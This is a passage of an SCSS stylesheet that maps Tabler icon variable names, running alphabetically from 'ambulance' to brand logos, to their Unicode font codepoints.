unicode('fc54');\n$ti-icon-ambulance: unicode('ebf5');\n$ti-icon-ampersand: unicode('f229');\n$ti-icon-analyze: unicode('f3a3');\n$ti-icon-analyze-filled: unicode('f719');\n$ti-icon-analyze-off: unicode('f3ba');\n$ti-icon-anchor: unicode('eb76');\n$ti-icon-anchor-off: unicode('f0f7');\n$ti-icon-angle: unicode('ef20');\n$ti-icon-ankh: unicode('f1cd');\n$ti-icon-antenna: unicode('f094');\n$ti-icon-antenna-bars-1: unicode('ecc7');\n$ti-icon-antenna-bars-2: unicode('ecc8');\n$ti-icon-antenna-bars-3: unicode('ecc9');\n$ti-icon-antenna-bars-4: unicode('ecca');\n$ti-icon-antenna-bars-5: unicode('eccb');\n$ti-icon-antenna-bars-off: unicode('f0aa');\n$ti-icon-antenna-off: unicode('f3bb');\n$ti-icon-aperture: unicode('eb58');\n$ti-icon-aperture-off: unicode('f3bc');\n$ti-icon-api: unicode('effd');\n$ti-icon-api-app: unicode('effc');\n$ti-icon-api-app-off: unicode('f0ab');\n$ti-icon-api-off: unicode('f0f8');\n$ti-icon-app-window: unicode('efe6');\n$ti-icon-app-window-filled: unicode('f71a');\n$ti-icon-apple: unicode('ef21');\n$ti-icon-apps: unicode('ebb6');\n$ti-icon-apps-filled: unicode('f6f1');\n$ti-icon-apps-off: unicode('f0ac');\n$ti-icon-archery-arrow: unicode('fc55');\n$ti-icon-archive: unicode('ea0b');\n$ti-icon-archive-filled: unicode('fa82');\n$ti-icon-archive-off: unicode('f0ad');\n$ti-icon-armchair: unicode('ef9e');\n$ti-icon-armchair-2: unicode('efe7');\n$ti-icon-armchair-2-off: unicode('f3bd');\n$ti-icon-armchair-off: unicode('f3be');\n$ti-icon-arrow-autofit-content: unicode('ef31');\n$ti-icon-arrow-autofit-content-filled: unicode('f6f2');\n$ti-icon-arrow-autofit-down: unicode('ef32');\n$ti-icon-arrow-autofit-height: unicode('ef33');\n$ti-icon-arrow-autofit-left: unicode('ef34');\n$ti-icon-arrow-autofit-right: unicode('ef35');\n$ti-icon-arrow-autofit-up: unicode('ef36');\n$ti-icon-arrow-autofit-width: unicode('ef37');\n$ti-icon-arrow-back: unicode('ea0c');\n$ti-icon-arrow-back-up: unicode('eb77');\n$ti-icon-arrow-back-up-double: unicode('f9ec');\n$ti-icon-arrow-badge-down: unicode('f60b');\n$ti-icon-arrow-badge-down-filled: unicode('f7d6');\n$ti-icon-arrow-badge-left: unicode('f60c');\n$ti-icon-arrow-badge-left-filled: unicode('f7d7');\n$ti-icon-arrow-badge-right: unicode('f60d');\n$ti-icon-arrow-badge-right-filled: unicode('f7d8');\n$ti-icon-arrow-badge-up: unicode('f60e');\n$ti-icon-arrow-badge-up-filled: unicode('f7d9');\n$ti-icon-arrow-bar-both: unicode('fadd');\n$ti-icon-arrow-bar-down: unicode('ea0d');\n$ti-icon-arrow-bar-left: unicode('ea0e');\n$ti-icon-arrow-bar-right: unicode('ea0f');\n$ti-icon-arrow-bar-to-down: unicode('ec88');\n$ti-icon-arrow-bar-to-left: unicode('ec89');\n$ti-icon-arrow-bar-to-right: unicode('ec8a');\n$ti-icon-arrow-bar-to-up: unicode('ec8b');\n$ti-icon-arrow-bar-up: unicode('ea10');\n$ti-icon-arrow-bear-left: unicode('f045');\n$ti-icon-arrow-bear-left-2: unicode('f044');\n$ti-icon-arrow-bear-right: unicode('f047');\n$ti-icon-arrow-bear-right-2: unicode('f046');\n$ti-icon-arrow-big-down: unicode('edda');\n$ti-icon-arrow-big-down-filled: unicode('f6c6');\n$ti-icon-arrow-big-down-line: unicode('efe8');\n$ti-icon-arrow-big-down-line-filled: unicode('f6c7');\n$ti-icon-arrow-big-down-lines: unicode('efe9');\n$ti-icon-arrow-big-down-lines-filled: unicode('f6c8');\n$ti-icon-arrow-big-left: unicode('eddb');\n$ti-icon-arrow-big-left-filled: unicode('f6c9');\n$ti-icon-arrow-big-left-line: unicode('efea');\n$ti-icon-arrow-big-left-line-filled: unicode('f6ca');\n$ti-icon-arrow-big-left-lines: unicode('efeb');\n$ti-icon-arrow-big-left-lines-filled: unicode('f6cb');\n$ti-icon-arrow-big-right: unicode('eddc');\n$ti-icon-arrow-big-right-filled: unicode('f6cc');\n$ti-icon-arrow-big-right-line: unicode('efec');\n$ti-icon-arrow-big-right-line-filled: unicode('f6cd');\n$ti-icon-arrow-big-right-lines: unicode('efed');\n$ti-icon-arrow-big-right-lines-filled: unicode('f6ce');\n$ti-icon-arrow-big-up: unicode('eddd');\n$ti-icon-arrow-big-up-filled: unicode('f6cf');\n$ti-icon-arrow-big-up-line: unicode('efee');\n$ti-icon-arrow-big-up-line-filled: unicode('f6d0');\n$ti-icon-arrow-big-up-lines: unicode('efef');\n$ti-icon-arrow-big-up-lines-filled: unicode('f6d1');\n$ti-icon-arrow-bounce: unicode('f3a4');\n$ti-icon-arrow-capsule: unicode('fade');\n$ti-icon-arrow-curve-left: unicode('f048');\n$ti-icon-arrow-curve-right: unicode('f049');\n$ti-icon-arrow-down: unicode('ea16');\n$ti-icon-arrow-down-bar: unicode('ed98');\n$ti-icon-arrow-down-circle: unicode('ea11');\n$ti-icon-arrow-down-from-arc: unicode('fd86');\n$ti-icon-arrow-down-left: unicode('ea13');\n$ti-icon-arrow-down-left-circle: unicode('ea12');\n$ti-icon-arrow-down-rhombus: unicode('f61d');\n$ti-icon-arrow-down-right: unicode('ea15');\n$ti-icon-arrow-down-right-circle: unicode('ea14');\n$ti-icon-arrow-down-square: unicode('ed9a');\n$ti-icon-arrow-down-tail: unicode('ed9b');\n$ti-icon-arrow-down-to-arc: unicode('fd87');\n$ti-icon-arrow-elbow-left: unicode('f9ed');\n$ti-icon-arrow-elbow-right: unicode('f9ee');\n$ti-icon-arrow-fork: unicode('f04a');\n$ti-icon-arrow-forward: unicode('ea17');\n$ti-icon-arrow-forward-up: unicode('eb78');\n$ti-icon-arrow-forward-up-double: unicode('f9ef');\n$ti-icon-arrow-guide: unicode('f22a');\n$ti-icon-arrow-iteration: unicode('f578');\n$ti-icon-arrow-left: unicode('ea19');\n$ti-icon-arrow-left-bar: unicode('ed9c');\n$ti-icon-arrow-left-circle: unicode('ea18');\n$ti-icon-arrow-left-from-arc: unicode('fd88');\n$ti-icon-arrow-left-rhombus: unicode('f61e');\n$ti-icon-arrow-left-right: unicode('f04b');\n$ti-icon-arrow-left-square: unicode('ed9d');\n$ti-icon-arrow-left-tail: unicode('ed9e');\n$ti-icon-arrow-left-to-arc: unicode('fd89');\n$ti-icon-arrow-loop-left: unicode('ed9f');\n$ti-icon-arrow-loop-left-2: unicode('f04c');\n$ti-icon-arrow-loop-right: unicode('eda0');\n$ti-icon-arrow-loop-right-2: unicode('f04d');\n$ti-icon-arrow-merge: unicode('f04e');\n$ti-icon-arrow-merge-alt-left: unicode('fc9f');\n$ti-icon-arrow-merge-alt-right: unicode('fca0');\n$ti-icon-arrow-merge-both: unicode('f23b');\n$ti-icon-arrow-merge-left: unicode('f23c');\n$ti-icon-arrow-merge-right: unicode('f23d');\n$ti-icon-arrow-move-down: unicode('f2ba');\n$ti-icon-arrow-move-left: unicode('f2bb');\n$ti-icon-arrow-move-right: unicode('f2bc');\n$ti-icon-arrow-move-up: unicode('f2bd');\n$ti-icon-arrow-narrow-down: unicode('ea1a');\n$ti-icon-arrow-narrow-left: unicode('ea1b');\n$ti-icon-arrow-narrow-right: unicode('ea1c');\n$ti-icon-arrow-narrow-up: unicode('ea1d');\n$ti-icon-arrow-ramp-left: unicode('ed3c');\n$ti-icon-arrow-ramp-left-2: unicode('f04f');\n$ti-icon-arrow-ramp-left-3: unicode('f050');\n$ti-icon-arrow-ramp-right: unicode('ed3d');\n$ti-icon-arrow-ramp-right-2: unicode('f051');\n$ti-icon-arrow-ramp-right-3: unicode('f052');\n$ti-icon-arrow-right: unicode('ea1f');\n$ti-icon-arrow-right-bar: unicode('eda1');\n$ti-icon-arrow-right-circle: unicode('ea1e');\n$ti-icon-arrow-right-from-arc: unicode('fd8a');\n$ti-icon-arrow-right-rhombus: unicode('f61f');\n$ti-icon-arrow-right-square: unicode('eda2');\n$ti-icon-arrow-right-tail: unicode('eda3');\n$ti-icon-arrow-right-to-arc: unicode('fd8b');\n$ti-icon-arrow-rotary-first-left: unicode('f053');\n$ti-icon-arrow-rotary-first-right: unicode('f054');\n$ti-icon-arrow-rotary-last-left: unicode('f055');\n$ti-icon-arrow-rotary-last-right: unicode('f056');\n$ti-icon-arrow-rotary-left: unicode('f057');\n$ti-icon-arrow-rotary-right: unicode('f058');\n$ti-icon-arrow-rotary-straight: unicode('f059');\n$ti-icon-arrow-roundabout-left: unicode('f22b');\n$ti-icon-arrow-roundabout-right: unicode('f22c');\n$ti-icon-arrow-sharp-turn-left: unicode('f05a');\n$ti-icon-arrow-sharp-turn-right: unicode('f05b');\n$ti-icon-arrow-up: unicode('ea25');\n$ti-icon-arrow-up-bar: unicode('eda4');\n$ti-icon-arrow-up-circle: unicode('ea20');\n$ti-icon-arrow-up-from-arc: unicode('fd8c');\n$ti-icon-arrow-up-left: unicode('ea22');\n$ti-icon-arrow-up-left-circle: unicode('ea21');\n$ti-icon-arrow-up-rhombus: unicode('f620');\n$ti-icon-arrow-up-right: unicode('ea24');\n$ti-icon-arrow-up-right-circle: unicode('ea23');\n$ti-icon-arrow-up-square: unicode('eda6');\n$ti-icon-arrow-up-tail: unicode('eda7');\n$ti-icon-arrow-up-to-arc: unicode('fd8d');\n$ti-icon-arrow-wave-left-down: unicode('eda8');\n$ti-icon-arrow-wave-left-up: unicode('eda9');\n$ti-icon-arrow-wave-right-down: unicode('edaa');\n$ti-icon-arrow-wave-right-up: unicode('edab');\n$ti-icon-arrow-zig-zag: unicode('f4a7');\n$ti-icon-arrows-cross: unicode('effe');\n$ti-icon-arrows-diagonal: unicode('ea27');\n$ti-icon-arrows-diagonal-2: unicode('ea26');\n$ti-icon-arrows-diagonal-minimize: unicode('ef39');\n$ti-icon-arrows-diagonal-minimize-2: unicode('ef38');\n$ti-icon-arrows-diff: unicode('f296');\n$ti-icon-arrows-double-ne-sw: unicode('edde');\n$ti-icon-arrows-double-nw-se: unicode('eddf');\n$ti-icon-arrows-double-se-nw: unicode('ede0');\n$ti-icon-arrows-double-sw-ne: unicode('ede1');\n$ti-icon-arrows-down: unicode('edad');\n$ti-icon-arrows-down-up: unicode('edac');\n$ti-icon-arrows-exchange: unicode('f1f4');\n$ti-icon-arrows-exchange-2: unicode('f1f3');\n$ti-icon-arrows-horizontal: unicode('eb59');\n$ti-icon-arrows-join: unicode('edaf');\n$ti-icon-arrows-join-2: unicode('edae');\n$ti-icon-arrows-left: unicode('edb1');\n$ti-icon-arrows-left-down: unicode('ee00');\n$ti-icon-arrows-left-right: unicode('edb0');\n$ti-icon-arrows-maximize: unicode('ea28');\n$ti-icon-arrows-minimize: unicode('ea29');\n$ti-icon-arrows-move: unicode('f22f');\n$ti-icon-arrows-move-horizontal: unicode('f22d');\n$ti-icon-arrows-move-vertical: unicode('f22e');\n$ti-icon-arrows-random: unicode('f095');\n$ti-icon-arrows-right: unicode('edb3');\n$ti-icon-arrows-right-down: unicode('ee01');\n$ti-icon-arrows-right-left: unicode('edb2');\n$ti-icon-arrows-shuffle: unicode('f000');\n$ti-icon-arrows-shuffle-2: unicode('efff');\n$ti-icon-arrows-sort: unicode('eb5a');\n$ti-icon-arrows-split: unicode('edb5');\n$ti-icon-arrows-split-2: unicode('edb4');\n$ti-icon-arrows-transfer-down: unicode('f2cc');\n$ti-icon-arrows-transfer-up: unicode('f2cd');\n$ti-icon-arrows-up: unicode('edb7');\n$ti-icon-arrows-up-down: unicode('edb6');\n$ti-icon-arrows-up-left: unicode('ee02');\n$ti-icon-arrows-up-right: unicode('ee03');\n$ti-icon-arrows-vertical: unicode('eb5b');\n$ti-icon-artboard: unicode('ea2a');\n$ti-icon-artboard-filled: unicode('fa83');\n$ti-icon-artboard-off: unicode('f0ae');\n$ti-icon-article: unicode('f1e2');\n$ti-icon-article-filled: unicode('f7da');\n$ti-icon-article-off: unicode('f3bf');\n$ti-icon-aspect-ratio: unicode('ed30');\n$ti-icon-aspect-ratio-filled: unicode('f7db');\n$ti-icon-aspect-ratio-off: unicode('f0af');\n$ti-icon-assembly: unicode('f24d');\n$ti-icon-assembly-filled: unicode('fe9e');\n$ti-icon-assembly-off: unicode('f3c0');\n$ti-icon-asset: unicode('f1ce');\n$ti-icon-asset-filled: unicode('fe9d');\n$ti-icon-asterisk: unicode('efd5');\n$ti-icon-asterisk-simple: unicode('efd4');\n$ti-icon-at: unicode('ea2b');\n$ti-icon-at-off: unicode('f0b0');\n$ti-icon-atom: unicode('eb79');\n$ti-icon-atom-2: unicode('ebdf');\n$ti-icon-atom-2-filled: unicode('f71b');\n$ti-icon-atom-off: unicode('f0f9');\n$ti-icon-augmented-reality: unicode('f023');\n$ti-icon-augmented-reality-2: unicode('f37e');\n$ti-icon-augmented-reality-off: unicode('f3c1');\n$ti-icon-auth-2fa: unicode('eca0');\n$ti-icon-automatic-gearbox: unicode('fc89');\n$ti-icon-avocado: unicode('fd8e');\n$ti-icon-award: unicode('ea2c');\n$ti-icon-award-filled: unicode('f71c');\n$ti-icon-award-off: unicode('f0fa');\n$ti-icon-axe: unicode('ef9f');\n$ti-icon-axis-x: unicode('ef45');\n$ti-icon-axis-y: unicode('ef46');\n$ti-icon-baby-bottle: unicode('f5d2');\n$ti-icon-baby-carriage: unicode('f05d');\n$ti-icon-baby-carriage-filled: unicode('fe9c');\n$ti-icon-background: unicode('fd2c');\n$ti-icon-backhoe: unicode('ed86');\n$ti-icon-backpack: unicode('ef47');\n$ti-icon-backpack-off: unicode('f3c2');\n$ti-icon-backslash: unicode('fab9');\n$ti-icon-backspace: unicode('ea2d');\n$ti-icon-backspace-filled: unicode('f7dc');\n$ti-icon-badge: unicode('efc2');\n$ti-icon-badge-3d: unicode('f555');\n$ti-icon-badge-3d-filled: unicode('fe9b');\n$ti-icon-badge-4k: unicode('f556');\n$ti-icon-badge-4k-filled: unicode('fe9a');\n$ti-icon-badge-8k: unicode('f557');\n$ti-icon-badge-8k-filled: unicode('fe99');\n$ti-icon-badge-ad: unicode('f558');\n$ti-icon-badge-ad-filled: unicode('fe98');\n$ti-icon-badge-ad-off: unicode('fd8f');\n$ti-icon-badge-ar: unicode('f559');\n$ti-icon-badge-ar-filled: unicode('fe97');\n$ti-icon-badge-cc: unicode('f55a');\n$ti-icon-badge-cc-filled: unicode('fe96');\n$ti-icon-badge-filled: unicode('f667');\n$ti-icon-badge-hd: unicode('f55b');\n$ti-icon-badge-hd-filled: unicode('fe95');\n$ti-icon-badge-off: unicode('f0fb');\n$ti-icon-badge-sd: unicode('f55c');\n$ti-icon-badge-sd-filled: unicode('fe94');\n$ti-icon-badge-tm: unicode('f55d');\n$ti-icon-badge-tm-filled: unicode('fe93');\n$ti-icon-badge-vo: unicode('f55e');\n$ti-icon-badge-vo-filled: unicode('fe92');\n$ti-icon-badge-vr: unicode('f55f');\n$ti-icon-badge-vr-filled: unicode('fe91');\n$ti-icon-badge-wc: unicode('f560');\n$ti-icon-badge-wc-filled: unicode('fe90');\n$ti-icon-badges: unicode('efc3');\n$ti-icon-badges-filled: unicode('f7dd');\n$ti-icon-badges-off: unicode('f0fc');\n$ti-icon-baguette: unicode('f3a5');\n$ti-icon-ball-american-football: unicode('ee04');\n$ti-icon-ball-american-football-off: unicode('f3c3');\n$ti-icon-ball-baseball: unicode('efa0');\n$ti-icon-ball-basketball: unicode('ec28');\n$ti-icon-ball-bowling: unicode('ec29');\n$ti-icon-ball-football: unicode('ee06');\n$ti-icon-ball-football-off: unicode('ee05');\n$ti-icon-ball-tennis: unicode('ec2a');\n$ti-icon-ball-volleyball: unicode('ec2b');\n$ti-icon-balloon: unicode('ef3a');\n$ti-icon-balloon-filled: unicode('fa84');\n$ti-icon-balloon-off: unicode('f0fd');\n$ti-icon-ballpen: unicode('f06e');\n$ti-icon-ballpen-filled: unicode('fa85');\n$ti-icon-ballpen-off: unicode('f0b1');\n$ti-icon-ban: unicode('ea2e');\n$ti-icon-bandage: unicode('eb7a');\n$ti-icon-bandage-filled: unicode('f7de');\n$ti-icon-bandage-off: unicode('f3c4');\n$ti-icon-barbell: unicode('eff0');\n$ti-icon-barbell-filled: unicode('fe8f');\n$ti-icon-barbell-off: unicode('f0b2');\n$ti-icon-barcode: unicode('ebc6');\n$ti-icon-barcode-off: unicode('f0b3');\n$ti-icon-barrel: unicode('f0b4');\n$ti-icon-barrel-off: unicode('f0fe');\n$ti-icon-barrier-block: unicode('f00e');\n$ti-icon-barrier-block-filled: unicode('fe8e');\n$ti-icon-barrier-block-off: unicode('f0b5');\n$ti-icon-baseline: unicode('f024');\n$ti-icon-baseline-density-large: unicode('f9f0');\n$ti-icon-baseline-density-medium: unicode('f9f1');\n$ti-icon-baseline-density-small: unicode('f9f2');\n$ti-icon-basket: unicode('ebe1');\n$ti-icon-basket-bolt: unicode('fb43');\n$ti-icon-basket-cancel: unicode('fb44');\n$ti-icon-basket-check: unicode('fb45');\n$ti-icon-basket-code: unicode('fb46');\n$ti-icon-basket-cog: unicode('fb47');\n$ti-icon-basket-discount: unicode('fb48');\n$ti-icon-basket-dollar: unicode('fb49');\n$ti-icon-basket-down: unicode('fb4a');\n$ti-icon-basket-exclamation: unicode('fb4b');\n$ti-icon-basket-filled: unicode('f7df');\n$ti-icon-basket-heart: unicode('fb4c');\n$ti-icon-basket-minus: unicode('fb4d');\n$ti-icon-basket-off: unicode('f0b6');\n$ti-icon-basket-pause: unicode('fb4e');\n$ti-icon-basket-pin: unicode('fb4f');\n$ti-icon-basket-plus: unicode('fb50');\n$ti-icon-basket-question: unicode('fb51');\n$ti-icon-basket-search: unicode('fb52');\n$ti-icon-basket-share: unicode('fb53');\n$ti-icon-basket-star: unicode('fb54');\n$ti-icon-basket-up: unicode('fb55');\n$ti-icon-basket-x: unicode('fb56');\n$ti-icon-bat: unicode('f284');\n$ti-icon-bath: unicode('ef48');\n$ti-icon-bath-filled: unicode('f71d');\n$ti-icon-bath-off: unicode('f0ff');\n$ti-icon-battery: unicode('ea34');\n$ti-icon-battery-1: unicode('ea2f');\n$ti-icon-battery-1-filled: unicode('f71e');\n$ti-icon-battery-2: unicode('ea30');\n$ti-icon-battery-2-filled: unicode('f71f');\n$ti-icon-battery-3: unicode('ea31');\n$ti-icon-battery-3-filled: unicode('f720');\n$ti-icon-battery-4: unicode('ea32');\n$ti-icon-battery-4-filled: unicode('f721');\n$ti-icon-battery-automotive: unicode('ee07');\n$ti-icon-battery-charging: unicode('ea33');\n$ti-icon-battery-charging-2: unicode('ef3b');\n$ti-icon-battery-eco: unicode('ef3c');\n$ti-icon-battery-filled: unicode('f668');\n$ti-icon-battery-off: unicode('ed1c');\n$ti-icon-beach: unicode('ef3d');\n$ti-icon-beach-off: unicode('f0b7');\n$ti-icon-bed: unicode('eb5c');\n$ti-icon-bed-filled: unicode('f7e0');\n$ti-icon-bed-flat: unicode('fca1');\n$ti-icon-bed-flat-filled: unicode('fe8d');\n$ti-icon-bed-off: unicode('f100');\n$ti-icon-beer: unicode('efa1');\n$ti-icon-beer-filled: unicode('f7e1');\n$ti-icon-beer-off: unicode('f101');\n$ti-icon-bell: unicode('ea35');\n$ti-icon-bell-bolt: unicode('f812');\n$ti-icon-bell-cancel: unicode('f813');\n$ti-icon-bell-check: unicode('f814');\n$ti-icon-bell-code: unicode('f815');\n$ti-icon-bell-cog: unicode('f816');\n$ti-icon-bell-dollar: unicode('f817');\n$ti-icon-bell-down: unicode('f818');\n$ti-icon-bell-exclamation: unicode('f819');\n$ti-icon-bell-filled: unicode('f669');\n$ti-icon-bell-heart: unicode('f81a');\n$ti-icon-bell-minus: unicode('ede2');\n$ti-icon-bell-minus-filled: unicode('f722');\n$ti-icon-bell-off: unicode('ece9');\n$ti-icon-bell-pause: unicode('f81b');\n$ti-icon-bell-pin: unicode('f81c');\n$ti-icon-bell-plus: unicode('ede3');\n$ti-icon-bell-plus-filled: unicode('f723');\n$ti-icon-bell-question: unicode('f81d');\n$ti-icon-bell-ringing: unicode('ed07');\n$ti-icon-bell-ringing-2: unicode('ede4');\n$ti-icon-bell-ringing-2-filled: unicode('f724');\n$ti-icon-bell-ringing-filled: unicode('f725');\n$ti-icon-bell-school: unicode('f05e');\n$ti-icon-bell-search: unicode('f81e');\n$ti-icon-bell-share: unicode('f81f');\n$ti-icon-bell-star: unicode('f820');\n$ti-icon-bell-up: unicode('f821');\n$ti-icon-bell-x: unicode('ede5');\n$ti-icon-bell-x-filled: unicode('f726');\n$ti-icon-bell-z: unicode('eff1');\n$ti-icon-bell-z-filled: unicode('f727');\n$ti-icon-beta: unicode('f544');\n$ti-icon-bible: unicode('efc4');\n$ti-icon-bike: unicode('ea36');\n$ti-icon-bike-off: unicode('f0b8');\n$ti-icon-binary: unicode('ee08');\n$ti-icon-binary-off: unicode('f3c5');\n$ti-icon-binary-tree: unicode('f5d4');\n$ti-icon-binary-tree-2: unicode('f5d3');\n$ti-icon-biohazard: unicode('ecb8');\n$ti-icon-biohazard-filled: unicode('fe8c');\n$ti-icon-biohazard-off: unicode('f0b9');\n$ti-icon-blade: unicode('f4bd');\n$ti-icon-blade-filled: unicode('f7e2');\n$ti-icon-bleach: unicode('f2f3');\n$ti-icon-bleach-chlorine: unicode('f2f0');\n$ti-icon-bleach-no-chlorine: unicode('f2f1');\n$ti-icon-bleach-off: unicode('f2f2');\n$ti-icon-blender: unicode('fca2');\n$ti-icon-blockquote: unicode('ee09');\n$ti-icon-bluetooth: unicode('ea37');\n$ti-icon-bluetooth-connected: unicode('ecea');\n$ti-icon-bluetooth-off: unicode('eceb');\n$ti-icon-bluetooth-x: unicode('f081');\n$ti-icon-blur: unicode('ef8c');\n$ti-icon-blur-off: unicode('f3c6');\n$ti-icon-bmp: unicode('f3a6');\n$ti-icon-body-scan: unicode('fca3');\n$ti-icon-bold: unicode('eb7b');\n$ti-icon-bold-off: unicode('f0ba');\n$ti-icon-bolt: unicode('ea38');\n$ti-icon-bolt-off: unicode('ecec');\n$ti-icon-bomb: unicode('f59c');\n$ti-icon-bomb-filled: unicode('fa86');\n$ti-icon-bone: unicode('edb8');\n$ti-icon-bone-filled: unicode('fe8b');\n$ti-icon-bone-off: unicode('f0bb');\n$ti-icon-bong: unicode('f3a7');\n$ti-icon-bong-off: unicode('f3c7');\n$ti-icon-book: unicode('ea39');\n$ti-icon-book-2: unicode('efc5');\n$ti-icon-book-download: unicode('f070');\n$ti-icon-book-filled: unicode('fa87');\n$ti-icon-book-off: unicode('f0bc');\n$ti-icon-book-upload: unicode('f071');\n$ti-icon-bookmark: unicode('ea3a');\n$ti-icon-bookmark-ai: unicode('fc8a');\n$ti-icon-bookmark-edit: unicode('fa5e');\n$ti-icon-bookmark-filled: unicode('fa88');\n$ti-icon-bookmark-minus: unicode('fa5f');\n$ti-icon-bookmark-off: unicode('eced');\n$ti-icon-bookmark-plus: unicode('fa60');\n$ti-icon-bookmark-question: unicode('fa61');\n$ti-icon-bookmarks: unicode('ed08');\n$ti-icon-bookmarks-filled: unicode('fb1f');\n$ti-icon-bookmarks-off: unicode('f0bd');\n$ti-icon-books: unicode('eff2');\n$ti-icon-books-off: unicode('f0be');\n$ti-icon-boom: unicode('fdbe');\n$ti-icon-boom-filled: unicode('fe8a');\n$ti-icon-border-all: unicode('ea3b');\n$ti-icon-border-bottom: unicode('ea3c');\n$ti-icon-border-bottom-plus: unicode('fdbd');\n$ti-icon-border-corner-ios: unicode('fd98');\n$ti-icon-border-corner-pill: unicode('fd62');\n$ti-icon-border-corner-rounded: unicode('fd63');\n$ti-icon-border-corner-square: unicode('fd64');\n$ti-icon-border-corners: unicode('f7a0');\n$ti-icon-border-horizontal: unicode('ea3d');\n$ti-icon-border-inner: unicode('ea3e');\n$ti-icon-border-left: unicode('ea3f');\n$ti-icon-border-left-plus: unicode('fdbc');\n$ti-icon-border-none: unicode('ea40');\n$ti-icon-border-outer: unicode('ea41');\n$ti-icon-border-radius: unicode('eb7c');\n$ti-icon-border-right: unicode('ea42');\n$ti-icon-border-right-plus: unicode('fdbb');\n$ti-icon-border-sides: unicode('f7a1');\n$ti-icon-border-style: unicode('ee0a');\n$ti-icon-border-style-2: unicode('ef22');\n$ti-icon-border-top: unicode('ea43');\n$ti-icon-border-top-plus: unicode('fdba');\n$ti-icon-border-vertical: unicode('ea44');\n$ti-icon-bottle: unicode('ef0b');\n$ti-icon-bottle-filled: unicode('fa89');\n$ti-icon-bottle-off: unicode('f3c8');\n$ti-icon-bounce-left: unicode('f59d');\n$ti-icon-bounce-left-filled: unicode('fb20');\n$ti-icon-bounce-right: unicode('f59e');\n$ti-icon-bounce-right-filled: unicode('fb21');\n$ti-icon-bow: unicode('f096');\n$ti-icon-bow-filled: unicode('fe89');\n$ti-icon-bowl: unicode('f4fa');\n$ti-icon-bowl-chopsticks: unicode('fd90');\n$ti-icon-bowl-chopsticks-filled: unicode('fe88');\n$ti-icon-bowl-filled: unicode('fb22');\n$ti-icon-bowl-spoon: unicode('fd91');\n$ti-icon-bowl-spoon-filled: unicode('fe87');\n$ti-icon-box: unicode('ea45');\n$ti-icon-box-align-bottom: unicode('f2a8');\n$ti-icon-box-align-bottom-filled: unicode('fa8a');\n$ti-icon-box-align-bottom-left: unicode('f2ce');\n$ti-icon-box-align-bottom-left-filled: unicode('fa8b');\n$ti-icon-box-align-bottom-right: unicode('f2cf');\n$ti-icon-box-align-bottom-right-filled: unicode('fa8c');\n$ti-icon-box-align-left: unicode('f2a9');\n$ti-icon-box-align-left-filled: unicode('fa8d');\n$ti-icon-box-align-right: unicode('f2aa');\n$ti-icon-box-align-right-filled: unicode('fa8e');\n$ti-icon-box-align-top: unicode('f2ab');\n$ti-icon-box-align-top-filled: unicode('fa8f');\n$ti-icon-box-align-top-left: unicode('f2d0');\n$ti-icon-box-align-top-left-filled: unicode('fa90');\n$ti-icon-box-align-top-right: unicode('f2d1');\n$ti-icon-box-align-top-right-filled: unicode('fa91');\n$ti-icon-box-margin: unicode('ee0b');\n$ti-icon-box-model: unicode('ee0c');\n$ti-icon-box-model-2: unicode('ef23');\n$ti-icon-box-model-2-off: unicode('f3c9');\n$ti-icon-box-model-off: unicode('f3ca');\n$ti-icon-box-multiple: unicode('ee17');\n$ti-icon-box-multiple-0: unicode('ee0d');\n$ti-icon-box-multiple-1: unicode('ee0e');\n$ti-icon-box-multiple-2: unicode('ee0f');\n$ti-icon-box-multiple-3: unicode('ee10');\n$ti-icon-box-multiple-4: unicode('ee11');\n$ti-icon-box-multiple-5: unicode('ee12');\n$ti-icon-box-multiple-6: unicode('ee13');\n$ti-icon-box-multiple-7: unicode('ee14');\n$ti-icon-box-multiple-8: unicode('ee15');\n$ti-icon-box-multiple-9: unicode('ee16');\n$ti-icon-box-off: unicode('f102');\n$ti-icon-box-padding: unicode('ee18');\n$ti-icon-braces: unicode('ebcc');\n$ti-icon-braces-off: unicode('f0bf');\n$ti-icon-brackets: unicode('ebcd');\n$ti-icon-brackets-angle: unicode('fcb2');\n$ti-icon-brackets-angle-off: unicode('fcb1');\n$ti-icon-brackets-contain: unicode('f1e5');\n$ti-icon-brackets-contain-end: unicode('f1e3');\n$ti-icon-brackets-contain-start: unicode('f1e4');\n$ti-icon-brackets-off: unicode('f0c0');\n$ti-icon-braille: unicode('f545');\n$ti-icon-brain: unicode('f59f');\n$ti-icon-brand-4chan: unicode('f494');\n$ti-icon-brand-abstract: unicode('f495');\n$ti-icon-brand-adobe: unicode('f0dc');\n$ti-icon-brand-adonis-js: unicode('f496');\n$ti-icon-brand-airbnb: unicode('ed68');\n$ti-icon-brand-airtable: unicode('ef6a');\n$ti-icon-brand-algolia: unicode('f390');\n$ti-icon-brand-alipay: unicode('f7a2');\n$ti-icon-brand-alpine-js: unicode('f324');\n$ti-icon-brand-amazon: unicode('f230');\n$ti-icon-brand-amd: unicode('f653');\n$ti-icon-brand-amigo: unicode('f5f9');\n$ti-icon-brand-among-us: unicode('f205');\n$ti-icon-brand-android: unicode('ec16');\n$ti-icon-brand-angular: unicode('ef6b');\n$ti-icon-brand-ansible: unicode('fa70');\n$ti-icon-brand-ao3: unicode('f5e8');\n$ti-icon-brand-appgallery: unicode('f231');\n$ti-icon-brand-apple: unicode('ec17');\n$ti-icon-brand-apple-arcade: unicode('ed69');\n$ti-icon-brand-apple-filled: unicode('fd74');\n$ti-icon-brand-apple-podcast: unicode('f1e6');\n$ti-icon-brand-appstore: unicode('ed24');\n$ti-icon-brand-asana: unicode('edc5');\n$ti-icon-brand-astro: unicode('fdb9');\n$ti-icon-brand-auth0: unicode('fcb3');\n$ti-icon-brand-aws: unicode('fa4c');\n$ti-icon-brand-azure: unicode('fa4d');\n$ti-icon-brand-backbone: unicode('f325');\n$ti-icon-brand-badoo: unicode('f206');\n$ti-icon-brand-baidu: unicode('f5e9');\n$ti-icon-brand-bandcamp: unicode('f207');\n$ti-icon-brand-bandlab: unicode('f5fa');\n$ti-icon-brand-beats: unicode('f208');\n$ti-icon-brand-behance: unicode('ec6e');\n$ti-icon-brand-bilibili: unicode('f6d2');\n$ti-icon-brand-binance: unicode('f5a0');\n$ti-icon-brand-bing: unicode('edc6');\n$ti-icon-brand-bitbucket: unicode('edc7');\n$ti-icon-brand-blackberry: unicode('f568');\n$ti-icon-brand-blender: unicode('f326');\n$ti-icon-brand-blogger: unicode('f35a');\n$ti-icon-brand-bluesky: unicode('fd75');\n$ti-icon-brand-booking: unicode('edc8');\n$ti-icon-brand-bootstrap: unicode('ef3e');\n$ti-icon-brand-bulma: unicode('f327');\n$ti-icon-brand-bumble: 